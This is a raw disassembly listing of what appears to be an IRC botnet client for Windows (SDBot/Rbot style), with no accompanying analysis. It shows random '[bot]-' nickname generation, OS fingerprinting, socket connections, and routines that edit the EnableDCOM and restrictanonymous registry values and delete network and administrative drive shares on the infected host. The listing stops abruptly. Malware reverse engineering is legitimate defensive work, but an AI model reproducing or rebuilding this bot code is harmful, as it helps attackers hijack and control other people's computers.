dword_43ADB0 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset dword_433034 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset dword_43306C call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43AD10h, 0C63BF633h, 68501D74h dd 433230h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 0E9E89057h, 57021FABh, 41598C68h, 5BE89000h, 85023BB4h dd 0E82975C0h, 223B48Eh, 0E0685090h, 0E8004331h, 0FFFF6859h dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 0E8905759h, 21FABB0h dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h, 15FF5350h dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h dd 850FC085h, 103h, 43319468h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh dd 8D500043h, 0FFFBEC85h, 314068FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 0E8905056h, 226B2BEh, 69B84D8Bh dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h dd 0FFFFFF37h, 1E8326Ah, 900220A7h, 0E890EDEBh, 223B302h dd 30F46850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43AD2Ch, 0EC858D50h, 68FFFFFBh, 4330B0h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0AE3015FFh dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h dd 59000016h, 0C5E89056h, 5B021FA9h, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_433280o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 26108B1h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 26108B1h nop push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 26108B1h nop push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_4332DC push eax push esi nop call near ptr 27C0000h movsx eax, byte_4332DC push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26108B1h push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 27E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4332E0 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_436EDC mov dword ptr [ebp-94h], 94h nop call near ptr 2791505h nop call near ptr 26108B1h push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_4332EC jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_4332E4 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 26108B1h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415C96 mov eax, offset byte_436EDC loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_4332F0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415CC1 mov eax, offset byte_436EDC loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43327C loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_4332E0 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_433280[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43AD98 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4407FC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43AE24 push eax mov edi, offset dword_4CD784 push offset unk_4332FC push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43AE30 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E0o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 4405F005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 0DBE89057h, 3B0226ACh, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 21BA23E8h, 0B3FF9002h, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh, 8458950h dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 nop call near ptr 2610350h sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43AE68, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416013 mov ax, word_4336E4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_415FF5 push offset unk_4336A4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_433678 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43ADBC test eax, eax jz short loc_416095 push offset unk_4335D8 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_433594 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_433548 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_433508 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43AE90, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43ACE4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_433370 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_4334D4 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_433498 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_433390 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_433464 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_433428 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43AE28 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_4333F0 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43AE68, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416337 mov ax, word_4338CC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_416319 push offset unk_433898 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43386C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43ADBC test eax, eax jz short loc_4163B5 push offset unk_433820 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_4337DC loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_433790 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_433508 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43AE90, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_433370 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_433760 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_433728 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_433380 jb short loc_416430 nop call near ptr 27E04E8h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43ADF8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_433760 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_433728 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_4336E8 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== 